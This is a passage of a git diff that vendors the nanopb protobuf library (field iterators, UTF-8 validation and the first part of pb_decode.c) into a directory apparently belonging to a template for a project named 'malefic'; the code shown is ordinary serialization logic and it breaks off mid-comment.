load_descriptor_values(iter); + } + } while (iter->index != start); + + /* Searched all the way back to start, and found nothing. */ + (void)load_descriptor_values(iter); + return false; + } +} + +static void *pb_const_cast(const void *p) +{ + /* Note: this casts away const, in order to use the common field iterator + * logic for both encoding and decoding. The cast is done using union + * to avoid spurious compiler warnings. */ + union { + void *p1; + const void *p2; + } t; + t.p2 = p; + return t.p1; +} + +bool pb_field_iter_begin_const(pb_field_iter_t *iter, const pb_msgdesc_t *desc, const void *message) +{ + return pb_field_iter_begin(iter, desc, pb_const_cast(message)); +} + +bool pb_field_iter_begin_extension_const(pb_field_iter_t *iter, const pb_extension_t *extension) +{ + return pb_field_iter_begin_extension(iter, (pb_extension_t*)pb_const_cast(extension)); +} + +bool pb_default_field_callback(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_t *field) +{ + if (field->data_size == sizeof(pb_callback_t)) + { + pb_callback_t *pCallback = (pb_callback_t*)field->pData; + + if (pCallback != NULL) + { + if (istream != NULL && pCallback->funcs.decode != NULL) + { + return pCallback->funcs.decode(istream, field, &pCallback->arg); + } + + if (ostream != NULL && pCallback->funcs.encode != NULL) + { + return pCallback->funcs.encode(ostream, field, &pCallback->arg); + } + } + } + + return true; /* Success, but didn't do anything */ + +} + +#ifdef PB_VALIDATE_UTF8 + +/* This function checks whether a string is valid UTF-8 text. + * + * Algorithm is adapted from https://www.cl.cam.ac.uk/~mgk25/ucs/utf8_check.c + * Original copyright: Markus Kuhn 2005-03-30 + * Licensed under "Short code license", which allows use under MIT license or + * any compatible with it. + */ + +bool pb_validate_utf8(const char *str) +{ + const pb_byte_t *s = (const pb_byte_t*)str; + while (*s) + { + if (*s < 0x80) + { + /* 0xxxxxxx */ + s++; + } + else if ((s[0] & 0xe0) == 0xc0) + { + /* 110XXXXx 10xxxxxx */ + if ((s[1] & 0xc0) != 0x80 || + (s[0] & 0xfe) == 0xc0) /* overlong? */ + return false; + else + s += 2; + } + else if ((s[0] & 0xf0) == 0xe0) + { + /* 1110XXXX 10Xxxxxx 10xxxxxx */ + if ((s[1] & 0xc0) != 0x80 || + (s[2] & 0xc0) != 0x80 || + (s[0] == 0xe0 && (s[1] & 0xe0) == 0x80) || /* overlong? */ + (s[0] == 0xed && (s[1] & 0xe0) == 0xa0) || /* surrogate? */ + (s[0] == 0xef && s[1] == 0xbf && + (s[2] & 0xfe) == 0xbe)) /* U+FFFE or U+FFFF? */ + return false; + else + s += 3; + } + else if ((s[0] & 0xf8) == 0xf0) + { + /* 11110XXX 10XXxxxx 10xxxxxx 10xxxxxx */ + if ((s[1] & 0xc0) != 0x80 || + (s[2] & 0xc0) != 0x80 || + (s[3] & 0xc0) != 0x80 || + (s[0] == 0xf0 && (s[1] & 0xf0) == 0x80) || /* overlong? */ + (s[0] == 0xf4 && s[1] > 0x8f) || s[0] > 0xf4) /* > U+10FFFF? */ + return false; + else + s += 4; + } + else + { + return false; + } + } + + return true; +} + +#endif + diff --git a/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_common.h b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_common.h new file mode 100644 index 0000000..58aa90f --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_common.h @@ -0,0 +1,49 @@ +/* pb_common.h: Common support functions for pb_encode.c and pb_decode.c. + * These functions are rarely needed by applications directly. + */ + +#ifndef PB_COMMON_H_INCLUDED +#define PB_COMMON_H_INCLUDED + +#include "pb.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* Initialize the field iterator structure to beginning. + * Returns false if the message type is empty. */ +bool pb_field_iter_begin(pb_field_iter_t *iter, const pb_msgdesc_t *desc, void *message); + +/* Get a field iterator for extension field. */ +bool pb_field_iter_begin_extension(pb_field_iter_t *iter, pb_extension_t *extension); + +/* Same as pb_field_iter_begin(), but for const message pointer. + * Note that the pointers in pb_field_iter_t will be non-const but shouldn't + * be written to when using these functions. */ +bool pb_field_iter_begin_const(pb_field_iter_t *iter, const pb_msgdesc_t *desc, const void *message); +bool pb_field_iter_begin_extension_const(pb_field_iter_t *iter, const pb_extension_t *extension); + +/* Advance the iterator to the next field. + * Returns false when the iterator wraps back to the first field. */ +bool pb_field_iter_next(pb_field_iter_t *iter); + +/* Advance the iterator until it points at a field with the given tag. + * Returns false if no such field exists. */ +bool pb_field_iter_find(pb_field_iter_t *iter, uint32_t tag); + +/* Find a field with type PB_LTYPE_EXTENSION, or return false if not found. + * There can be only one extension range field per message. */ +bool pb_field_iter_find_extension(pb_field_iter_t *iter); + +#ifdef PB_VALIDATE_UTF8 +/* Validate UTF-8 text string */ +bool pb_validate_utf8(const char *s); +#endif + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif + diff --git a/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_decode.c b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_decode.c new file mode 100644 index 0000000..b3f96fc --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_decode.c @@ -0,0 +1,1728 @@ +/* pb_decode.c -- decode a protobuf using minimal resources + * + * 2011 Petteri Aimonen + */ + +/* Use the GCC warn_unused_result attribute to check that all return values + * are propagated correctly. On other compilers, gcc before 3.4.0 and iar + * before 9.40.1 just ignore the annotation. + */ +#if (defined(__GNUC__) && ((__GNUC__ > 3) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4))) || \ + (defined(__IAR_SYSTEMS_ICC__) && (__VER__ >= 9040001)) + #define checkreturn __attribute__((warn_unused_result)) +#else + #define checkreturn +#endif + +#include "pb.h" +#include "pb_decode.h" +#include "pb_common.h" + +/************************************** + * Declarations internal to this file * + **************************************/ + +static bool checkreturn buf_read(pb_istream_t *stream, pb_byte_t *buf, size_t count); +static bool checkreturn pb_decode_varint32_eof(pb_istream_t *stream, uint32_t *dest, bool *eof); +static bool checkreturn read_raw_value(pb_istream_t *stream, pb_wire_type_t wire_type, pb_byte_t *buf, size_t *size); +static bool checkreturn decode_basic_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn decode_static_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn decode_pointer_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn decode_callback_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn decode_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn default_extension_decoder(pb_istream_t *stream, pb_extension_t *extension, uint32_t tag, pb_wire_type_t wire_type); +static bool checkreturn decode_extension(pb_istream_t *stream, uint32_t tag, pb_wire_type_t wire_type, pb_extension_t *extension); +static bool pb_field_set_to_default(pb_field_iter_t *field); +static bool pb_message_set_to_defaults(pb_field_iter_t *iter); +static bool checkreturn pb_dec_bool(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_varint(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_bytes(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_string(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_submessage(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_fixed_length_bytes(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_skip_varint(pb_istream_t *stream); +static bool checkreturn pb_skip_string(pb_istream_t *stream); + +#ifdef PB_ENABLE_MALLOC +static bool checkreturn allocate_field(pb_istream_t *stream, void *pData, size_t data_size, size_t array_size); +static void initialize_pointer_field(void *pItem, pb_field_iter_t *field); +static bool checkreturn pb_release_union_field(pb_istream_t *stream, pb_field_iter_t *field); +static void pb_release_single_field(pb_field_iter_t *field); +#endif + +#ifdef PB_WITHOUT_64BIT +#define pb_int64_t int32_t +#define pb_uint64_t uint32_t +#else +#define pb_int64_t int64_t +#define pb_uint64_t uint64_t +#endif + +typedef struct { + uint32_t bitfield[(PB_MAX_REQUIRED_FIELDS + 31) / 32]; +} pb_fields_seen_t; + +/******************************* + * pb_istream_t implementation * + *******************************/ + +static bool checkreturn buf_read(pb_istream_t *stream, pb_byte_t *buf, size_t count) +{ + const pb_byte_t *source = (const pb_byte_t*)stream->state; + stream->state = (pb_byte_t*)stream->state + count; + + if (buf != NULL) + { + memcpy(buf, source, count * sizeof(pb_byte_t)); + } + + return true; +} + +bool checkreturn pb_read(pb_istream_t *stream, pb_byte_t *buf, size_t count) +{ + if (count == 0) + return true; + +#ifndef PB_BUFFER_ONLY + if (buf == NULL && stream->callback != buf_read) + { + /* Skip input bytes */ + pb_byte_t tmp[16]; + while (count > 16) + { + if (!pb_read(stream, tmp, 16)) + return false; + + count -= 16; + } + + return pb_read(stream, tmp, count); + } +#endif + + if (stream->bytes_left < count) + PB_RETURN_ERROR(stream, "end-of-stream"); + +#ifndef PB_BUFFER_ONLY + if (!stream->callback(stream, buf, count)) + PB_RETURN_ERROR(stream, "io error"); +#else + if (!buf_read(stream, buf, count)) + return false; +#endif + + if (stream->bytes_left < count) + stream->bytes_left = 0; + else + stream->bytes_left -= count; + + return true; +} + +/* Read a single byte from input stream. buf may not be NULL. + * This is an optimization for the varint decoding. */ +static bool checkreturn pb_readbyte(pb_istream_t *stream, pb_byte_t *buf) +{ + if (stream->bytes_left == 0) + PB_RETURN_ERROR(stream, "end-of-stream"); + +#ifndef PB_BUFFER_ONLY + if (!stream->callback(stream, buf, 1)) + PB_RETURN_ERROR(stream, "io error"); +#else + *buf = *(const pb_byte_t*)stream->state; + stream->state = (pb_byte_t*)stream->state + 1; +#endif + + stream->bytes_left--; + + return true; +} + +pb_istream_t pb_istream_from_buffer(const pb_byte_t *buf, size_t msglen) +{ + pb_istream_t stream; + /* Cast away the const from buf without a compiler error. We are + * careful to use it only in a const manner in the callbacks. + */ + union { + void *state; + const void *c_state; + } state; +#ifdef PB_BUFFER_ONLY + stream.callback = NULL; +#else + stream.callback = &buf_read; +#endif + state.c_state = buf; + stream.state = state.state; + stream.bytes_left = msglen; +#ifndef PB_NO_ERRMSG + stream.errmsg = NULL; +#endif + return stream; +} + +/******************** + * Helper functions * + ********************/ + +static bool checkreturn pb_decode_varint32_eof(pb_istream_t *stream, uint32_t *dest, bool *eof) +{ + pb_byte_t byte; + uint32_t result; + + if (!pb_readbyte(stream, &byte)) + { + if (stream->bytes_left == 0) + { + if (eof) + { + *eof = true; + } + } + + return false; + } + + if ((byte & 0x80) == 0) + { + /* Quick case, 1 byte value */ + result = byte; + } + else + { + /* Multibyte case */ + uint_fast8_t bitpos = 7; + result = byte & 0x7F; + + do + { + if (!pb_readbyte(stream, &byte)) + return false; + + if (bitpos >= 32) + { + /* Note: The varint could have trailing 0x80 bytes, or 0xFF for negative. */ + pb_byte_t sign_extension = (bitpos < 63) ? 0xFF : 0x01; + bool valid_extension = ((byte & 0x7F) == 0x00 || + ((result >> 31) != 0 && byte == sign_extension)); + + if (bitpos >= 64 || !valid_extension) + { + PB_RETURN_ERROR(stream, "varint overflow"); + } + } + else if (bitpos == 28) + { + if ((byte & 0x70) != 0 && (byte & 0x78) != 0x78) + { + PB_RETURN_ERROR(stream, "varint overflow"); + } + result |= (uint32_t)(byte & 0x0F) << bitpos; + } + else + { + result |= (uint32_t)(byte & 0x7F) << bitpos; + } + bitpos = (uint_fast8_t)(bitpos + 7); + } while (byte & 0x80); + } + + *dest = result; + return true; +} + +bool checkreturn pb_decode_varint32(pb_istream_t *stream, uint32_t *dest) +{ + return pb_decode_varint32_eof(stream, dest, NULL); +} + +#ifndef PB_WITHOUT_64BIT +bool checkreturn pb_decode_varint(pb_istream_t *stream, uint64_t *dest) +{ + pb_byte_t byte; + uint_fast8_t bitpos = 0; + uint64_t result = 0; + + do + { + if (!pb_readbyte(stream, &byte)) + return false; + + if (bitpos >= 63 && (byte & 0xFE) != 0) + PB_RETURN_ERROR(stream, "varint overflow"); + + result |= (uint64_t)(byte & 0x7F) << bitpos; + bitpos = (uint_fast8_t)(bitpos + 7); + } while (byte & 0x80); + + *dest = result; + return true; +} +#endif + +bool checkreturn pb_skip_varint(pb_istream_t *stream) +{ + pb_byte_t byte; + do + { + if (!pb_read(stream, &byte, 1)) + return false; + } while (byte & 0x80); + return true; +} + +bool checkreturn pb_skip_string(pb_istream_t *stream) +{ + uint32_t length; + if (!pb_decode_varint32(stream, &length)) + return false; + + if ((size_t)length != length) + { + PB_RETURN_ERROR(stream, "size too large"); + } + + return pb_read(stream, NULL, (size_t)length); +} + +bool checkreturn pb_decode_tag(pb_istream_t *stream, pb_wire_type_t *wire_type, uint32_t *tag, bool *eof) +{ + uint32_t temp; + *eof = false; + *wire_type = (pb_wire_type_t) 0; + *tag = 0; + + if (!pb_decode_varint32_eof(stream, &temp, eof)) + { + return false; + } + + *tag = temp >> 3; + *wire_type = (pb_wire_type_t)(temp & 7); + return true; +} + +bool checkreturn pb_skip_field(pb_istream_t *stream, pb_wire_type_t wire_type) +{ + switch (wire_type) + { + case PB_WT_VARINT: return pb_skip_varint(stream); + case PB_WT_64BIT: return pb_read(stream, NULL, 8); + case PB_WT_STRING: return pb_skip_string(stream); + case PB_WT_32BIT: return pb_read(stream, NULL, 4); + default: PB_RETURN_ERROR(stream, "invalid wire_type"); + } +} + +/* Read a raw value to buffer, for the purpose of passing it to callback as + * a substream. Size is maximum size on call, and actual size on return. + */ +static bool checkreturn read_raw_value(pb_istream_t *stream, pb_wire_type_t wire_type, pb_byte_t *buf, size_t *size) +{ + size_t max_size = *size; + switch (wire_type) + { + case PB_WT_VARINT: + *size = 0; + do + { + (*size)++; + if (*size > max_size) + PB_RETURN_ERROR(stream, "varint overflow"); + + if (!pb_read(stream, buf, 1)) + return false; + } while (*buf++ & 0x80); + return true; + + case PB_WT_64BIT: + *size = 8; + return pb_read(stream, buf, 8); + + case PB_WT_32BIT: + *size = 4; + return pb_read(stream, buf, 4); + + case PB_WT_STRING: + /* Calling read_raw_value with a PB_WT_STRING is an error. + * Explicitly handle this case and fallthrough to default to avoid + * compiler warnings. + */ + + default: PB_RETURN_ERROR(stream, "invalid wire_type"); + } +} + +/* Decode string length from stream and return a substream with limited length. + * Remember to close the substream using pb_close_string_substream(). + */ +bool checkreturn pb_make_string_substream(pb_istream_t *stream, pb_istream_t *substream) +{ + uint32_t size; + if (!pb_decode_varint32(stream, &size)) + return false; + + *substream = *stream; + if (substream->bytes_left < size) + PB_RETURN_ERROR(stream, "parent stream too short"); + + substream->bytes_left = (size_t)size; + stream->bytes_left -= (size_t)size; + return true; +} + +bool checkreturn pb_close_string_substream(pb_istream_t *stream, pb_istream_t *substream) +{ + if (substream->bytes_left) { + if (!pb_read(substream, NULL, substream->bytes_left)) + return false; + } + + stream->state = substream->state; + +#ifndef PB_NO_ERRMSG + stream->errmsg = substream->errmsg; +#endif + return true; +} + +/************************* + * Decode a single field * + *************************/ + +static bool checkreturn decode_basic_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ + switch (PB_LTYPE(field->type)) + { + case PB_LTYPE_BOOL: + if (wire_type != PB_WT_VARINT && wire_type != PB_WT_PACKED) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_bool(stream, field); + + case PB_LTYPE_VARINT: + case PB_LTYPE_UVARINT: + case PB_LTYPE_SVARINT: + if (wire_type != PB_WT_VARINT && wire_type != PB_WT_PACKED) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_varint(stream, field); + + case PB_LTYPE_FIXED32: + if (wire_type != PB_WT_32BIT && wire_type != PB_WT_PACKED) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_decode_fixed32(stream, field->pData); + + case PB_LTYPE_FIXED64: + if (wire_type != PB_WT_64BIT && wire_type != PB_WT_PACKED) + PB_RETURN_ERROR(stream, "wrong wire type"); + +#ifdef PB_CONVERT_DOUBLE_FLOAT + if (field->data_size == sizeof(float)) + { + return pb_decode_double_as_float(stream, (float*)field->pData); + } +#endif + +#ifdef PB_WITHOUT_64BIT + PB_RETURN_ERROR(stream, "invalid data_size"); +#else + return pb_decode_fixed64(stream, field->pData); +#endif + + case PB_LTYPE_BYTES: + if (wire_type != PB_WT_STRING) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_bytes(stream, field); + + case PB_LTYPE_STRING: + if (wire_type != PB_WT_STRING) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_string(stream, field); + + case PB_LTYPE_SUBMESSAGE: + case PB_LTYPE_SUBMSG_W_CB: + if (wire_type != PB_WT_STRING) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_submessage(stream, field); + + case PB_LTYPE_FIXED_LENGTH_BYTES: + if (wire_type != PB_WT_STRING) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_fixed_length_bytes(stream, field); + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +} + +static bool checkreturn decode_static_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ + switch (PB_HTYPE(field->type)) + { + case PB_HTYPE_REQUIRED: + return decode_basic_field(stream, wire_type, field); + + case PB_HTYPE_OPTIONAL: + if (field->pSize != NULL) + *(bool*)field->pSize = true; + return decode_basic_field(stream, wire_type, field); + + case PB_HTYPE_REPEATED: + if (wire_type == PB_WT_STRING + && PB_LTYPE(field->type) <= PB_LTYPE_LAST_PACKABLE) + { + /* Packed array */ + bool status = true; + pb_istream_t substream; + pb_size_t *size = (pb_size_t*)field->pSize; + field->pData = (char*)field->pField + field->data_size * (*size); + + if (!pb_make_string_substream(stream, &substream)) + return false; + + while (substream.bytes_left > 0 && *size < field->array_size) + { + if (!decode_basic_field(&substream, PB_WT_PACKED, field)) + { + status = false; + break; + } + (*size)++; + field->pData = (char*)field->pData + field->data_size; + } + + if (substream.bytes_left != 0) + PB_RETURN_ERROR(stream, "array overflow"); + if (!pb_close_string_substream(stream, &substream)) + return false; + + return status; + } + else + { + /* Repeated field */ + pb_size_t *size = (pb_size_t*)field->pSize; + field->pData = (char*)field->pField + field->data_size * (*size); + + if ((*size)++ >= field->array_size) + PB_RETURN_ERROR(stream, "array overflow"); + + return decode_basic_field(stream, wire_type, field); + } + + case PB_HTYPE_ONEOF: + if (PB_LTYPE_IS_SUBMSG(field->type) && + *(pb_size_t*)field->pSize != field->tag) + { + /* We memset to zero so that any callbacks are set to NULL. + * This is because the callbacks might otherwise have values + * from some other union field. + * If callbacks are needed inside oneof field, use .proto + * option submsg_callback to have a separate callback function + * that can set the fields before submessage is decoded. + * pb_dec_submessage() will set any default values. */ + memset(field->pData, 0, (size_t)field->data_size); + + /* Set default values for the submessage fields. */ + if (field->submsg_desc->default_value != NULL || + field->submsg_desc->field_callback != NULL || + field->submsg_desc->submsg_info[0] != NULL) + { + pb_field_iter_t submsg_iter; + if (pb_field_iter_begin(&submsg_iter, field->submsg_desc, field->pData)) + { + if (!pb_message_set_to_defaults(&submsg_iter)) + PB_RETURN_ERROR(stream, "failed to set defaults"); + } + } + } + *(pb_size_t*)field->pSize = field->tag; + + return decode_basic_field(stream, wire_type, field); + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +} + +#ifdef PB_ENABLE_MALLOC +/* Allocate storage for the field and store the pointer at iter->pData. + * array_size is the number of entries to reserve in an array. + * Zero size is not allowed, use pb_free() for releasing. + */ +static bool checkreturn allocate_field(pb_istream_t *stream, void *pData, size_t data_size, size_t array_size) +{ + void *ptr = *(void**)pData; + + if (data_size == 0 || array_size == 0) + PB_RETURN_ERROR(stream, "invalid size"); + +#ifdef __AVR__ + /* Workaround for AVR libc bug 53284: http://savannah.nongnu.org/bugs/?53284 + * Realloc to size of 1 byte can cause corruption of the malloc structures. + */ + if (data_size == 1 && array_size == 1) + { + data_size = 2; + } +#endif + + /* Check for multiplication overflows. + * This code avoids the costly division if the sizes are small enough. + * Multiplication is safe as long as only half of bits are set + * in either multiplicand. + */ + { + const size_t check_limit = (size_t)1 << (sizeof(size_t) * 4); + if (data_size >= check_limit || array_size >= check_limit) + { + const size_t size_max = (size_t)-1; + if (size_max / array_size < data_size) + { + PB_RETURN_ERROR(stream, "size too large"); + } + } + } + + /* Allocate new or expand previous allocation */ + /* Note: on failure the old pointer will remain in the structure, + * the message must be freed by caller also on error return. */ + ptr = pb_realloc(ptr, array_size * data_size); + if (ptr == NULL) + PB_RETURN_ERROR(stream, "realloc failed"); + + *(void**)pData = ptr; + return true; +} + +/* Clear a newly allocated item in case it contains a pointer, or is a submessage. */ +static void initialize_pointer_field(void *pItem, pb_field_iter_t *field) +{ + if (PB_LTYPE(field->type) == PB_LTYPE_STRING || + PB_LTYPE(field->type) == PB_LTYPE_BYTES) + { + *(void**)pItem = NULL; + } + else if (PB_LTYPE_IS_SUBMSG(field->type)) + { + /* We memset to zero so that any callbacks are set to NULL. + * Default values will be set by pb_dec_submessage(). */ + memset(pItem, 0, field->data_size); + } +} +#endif + +static bool checkreturn decode_pointer_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ +#ifndef PB_ENABLE_MALLOC + PB_UNUSED(wire_type); + PB_UNUSED(field); + PB_RETURN_ERROR(stream, "no malloc support"); +#else + switch (PB_HTYPE(field->type)) + { + case PB_HTYPE_REQUIRED: + case PB_HTYPE_OPTIONAL: + case PB_HTYPE_ONEOF: + if (PB_LTYPE_IS_SUBMSG(field->type) && *(void**)field->pField != NULL) + { + /* Duplicate field, have to release the old allocation first. */ + /* FIXME: Does this work correctly for oneofs? */ + pb_release_single_field(field); + } + + if (PB_HTYPE(field->type) == PB_HTYPE_ONEOF) + { + *(pb_size_t*)field->pSize = field->tag; + } + + if (PB_LTYPE(field->type) == PB_LTYPE_STRING || + PB_LTYPE(field->type) == PB_LTYPE_BYTES) + { + /* pb_dec_string and pb_dec_bytes handle allocation themselves */ + field->pData = field->pField; + return decode_basic_field(stream, wire_type, field); + } + else + { + if (!allocate_field(stream, field->pField, field->data_size, 1)) + return false; + + field->pData = *(void**)field->pField; + initialize_pointer_field(field->pData, field); + return decode_basic_field(stream, wire_type, field); + } + + case PB_HTYPE_REPEATED: + if (wire_type == PB_WT_STRING + && PB_LTYPE(field->type) <= PB_LTYPE_LAST_PACKABLE) + { + /* Packed array, multiple items come in at once. */ + bool status = true; + pb_size_t *size = (pb_size_t*)field->pSize; + size_t allocated_size = *size; + pb_istream_t substream; + + if (!pb_make_string_substream(stream, &substream)) + return false; + + while (substream.bytes_left) + { + if (*size == PB_SIZE_MAX) + { +#ifndef PB_NO_ERRMSG + stream->errmsg = "too many array entries"; +#endif + status = false; + break; + } + + if ((size_t)*size + 1 > allocated_size) + { + /* Allocate more storage. This tries to guess the + * number of remaining entries. Round the division + * upwards. */ + size_t remain = (substream.bytes_left - 1) / field->data_size + 1; + if (remain < PB_SIZE_MAX - allocated_size) + allocated_size += remain; + else + allocated_size += 1; + + if (!allocate_field(&substream, field->pField, field->data_size, allocated_size)) + { + status = false; + break; + } + } + + /* Decode the array entry */ + field->pData = *(char**)field->pField + field->data_size * (*size); + if (field->pData == NULL) + { + /* Shouldn't happen, but satisfies static analyzers */ + status = false; + break; + } + initialize_pointer_field(field->pData, field); + if (!decode_basic_field(&substream, PB_WT_PACKED, field)) + { + status = false; + break; + } + + (*size)++; + } + if (!pb_close_string_substream(stream, &substream)) + return false; + + return status; + } + else + { + /* Normal repeated field, i.e. only one item at a time. */ + pb_size_t *size = (pb_size_t*)field->pSize; + + if (*size == PB_SIZE_MAX) + PB_RETURN_ERROR(stream, "too many array entries"); + + if (!allocate_field(stream, field->pField, field->data_size, (size_t)(*size + 1))) + return false; + + field->pData = *(char**)field->pField + field->data_size * (*size); + (*size)++; + initialize_pointer_field(field->pData, field); + return decode_basic_field(stream, wire_type, field); + } + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +#endif +} + +static bool checkreturn decode_callback_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ + if (!field->descriptor->field_callback) + return pb_skip_field(stream, wire_type); + + if (wire_type == PB_WT_STRING) + { + pb_istream_t substream; + size_t prev_bytes_left; + + if (!pb_make_string_substream(stream, &substream)) + return false; + + do + { + prev_bytes_left = substream.bytes_left; + if (!field->descriptor->field_callback(&substream, NULL, field)) + { + PB_SET_ERROR(stream, substream.errmsg ? substream.errmsg : "callback failed"); + return false; + } + } while (substream.bytes_left > 0 && substream.bytes_left < prev_bytes_left); + + if (!pb_close_string_substream(stream, &substream)) + return false; + + return true; + } + else + { + /* Copy the single scalar value to stack. + * This is required so that we can limit the stream length, + * which in turn allows to use same callback for packed and + * not-packed fields. */ + pb_istream_t substream; + pb_byte_t buffer[10]; + size_t size = sizeof(buffer); + + if (!read_raw_value(stream, wire_type, buffer, &size)) + return false; + substream = pb_istream_from_buffer(buffer, size); + + return field->descriptor->field_callback(&substream, NULL, field); + } +} + +static bool checkreturn decode_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ +#ifdef PB_ENABLE_MALLOC + /* When decoding an oneof field, check if there is old data that must be + * released first. */ + if (PB_HTYPE(field->type) == PB_HTYPE_ONEOF) + { + if (!pb_release_union_field(stream, field)) + return false; + } +#endif + + switch (PB_ATYPE(field->type)) + { + case PB_ATYPE_STATIC: + return decode_static_field(stream, wire_type, field); + + case PB_ATYPE_POINTER: + return decode_pointer_field(stream, wire_type, field); + + case PB_ATYPE_CALLBACK: + return decode_callback_field(stream, wire_type, field); + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +} + +/* Default handler for extension fields. Expects to have a pb_msgdesc_t + * pointer in the extension->type->arg field, pointing to a message with + * only one field in it. */ +static bool checkreturn default_extension_decoder(pb_istream_t *stream, + pb_extension_t *extension, uint32_t tag, pb_wire_type_t wire_type) +{ + pb_field_iter_t iter; + + if (!pb_field_iter_begin_extension(&iter, extension)) + PB_RETURN_ERROR(stream, "invalid extension"); + + if (iter.tag != tag || !iter.message) + return true; + + extension->found = true; + return decode_field(stream, wire_type, &iter); +} + +/* Try to decode an unknown field as an extension field. Tries each extension + * decoder in turn, until one of them handles the field or loop ends. */ +static bool checkreturn decode_extension(pb_istream_t *stream, + uint32_t tag, pb_wire_type_t wire_type, pb_extension_t *extension) +{ + size_t pos = stream->bytes_left; + + while (extension != NULL && pos == stream->bytes_left) + { + bool status; + if (extension->type->decode) + status = extension->type->decode(stream, extension, tag, wire_type); + else + status = default_extension_decoder(stream, extension, tag, wire_type); + + if (!status) + return false; + + extension = extension->next; + } + + return true; +} + +/* Initialize message fields to default values, recursively */ +static bool pb_field_set_to_default(pb_field_iter_t *field) +{ + pb_type_t type; + type = field->type; + + if (PB_LTYPE(type) == PB_LTYPE_EXTENSION) + { + pb_extension_t *ext = *(pb_extension_t* const *)field->pData; + while (ext != NULL) + { + pb_field_iter_t ext_iter; + if (pb_field_iter_begin_extension(&ext_iter, ext)) + { + ext->found = false; + if (!pb_message_set_to_defaults(&ext_iter)) + return false; + } + ext = ext->next; + } + } + else if (PB_ATYPE(type) == PB_ATYPE_STATIC) + { + bool init_data = true; + if (PB_HTYPE(type) == PB_HTYPE_OPTIONAL && field->pSize != NULL) + { + /* Set has_field to false. Still initialize the optional field + * itself also. */ + *(bool*)field->pSize = false; + } + else if (PB_HTYPE(type) == PB_HTYPE_REPEATED || + PB_HTYPE(type) == PB_HTYPE_ONEOF) + { + /* REPEATED: Set array count to 0, no need to initialize contents. + ONEOF: Set which_field to 0. */ + *(pb_size_t*)field->pSize = 0; + init_data = false; + } + + if (init_data) + { + if (PB_LTYPE_IS_SUBMSG(field->type) && + (field->submsg_desc->default_value != NULL || + field->submsg_desc->field_callback != NULL || + field->submsg_desc->submsg_info[0] != NULL)) + { + /* Initialize submessage to defaults. + * Only needed if it has default values + * or callback/submessage fields. */ + pb_field_iter_t submsg_iter; + if (pb_field_iter_begin(&submsg_iter, field->submsg_desc, field->pData)) + { + if (!pb_message_set_to_defaults(&submsg_iter)) + return false; + } + } + else + { + /* Initialize to zeros */ + memset(field->pData, 0, (size_t)field->data_size); + } + } + } + else if (PB_ATYPE(type) == PB_ATYPE_POINTER) + { + /* Initialize the pointer to NULL. */ + *(void**)field->pField = NULL; + + /* Initialize array count to 0. */ + if (PB_HTYPE(type) == PB_HTYPE_REPEATED || + PB_HTYPE(type) == PB_HTYPE_ONEOF) + { + *(pb_size_t*)field->pSize = 0; + } + } + else if (PB_ATYPE(type) == PB_ATYPE_CALLBACK) + { + /* Don't overwrite callback */ + } + + return true; +} + +static bool pb_message_set_to_defaults(pb_field_iter_t *iter) +{ + pb_istream_t defstream = PB_ISTREAM_EMPTY; + uint32_t tag = 0; + pb_wire_type_t wire_type = PB_WT_VARINT; + bool eof; + + if (iter->descriptor->default_value) + { + defstream = pb_istream_from_buffer(iter->descriptor->default_value, (size_t)-1); + if (!pb_decode_tag(&defstream, &wire_type, &tag, &eof)) + return false; + } + + do + { + if (!pb_field_set_to_default(iter)) + return false; + + if (tag != 0 && iter->tag == tag) + { + /* We have a default value for this field in the defstream */ + if (!decode_field(&defstream, wire_type, iter)) + return false; + if (!pb_decode_tag(&defstream, &wire_type, &tag, &eof)) + return false; + + if (iter->pSize) + *(bool*)iter->pSize = false; + } + } while (pb_field_iter_next(iter)); + + return true; +} + +/********************* + * Decode all fields * + *********************/ + +static bool checkreturn pb_decode_inner(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct, unsigned int flags) +{ + uint32_t extension_range_start = 0; + pb_extension_t *extensions = NULL; + + /* 'fixed_count_field' and 'fixed_count_size' track position of a repeated fixed + * count field. This 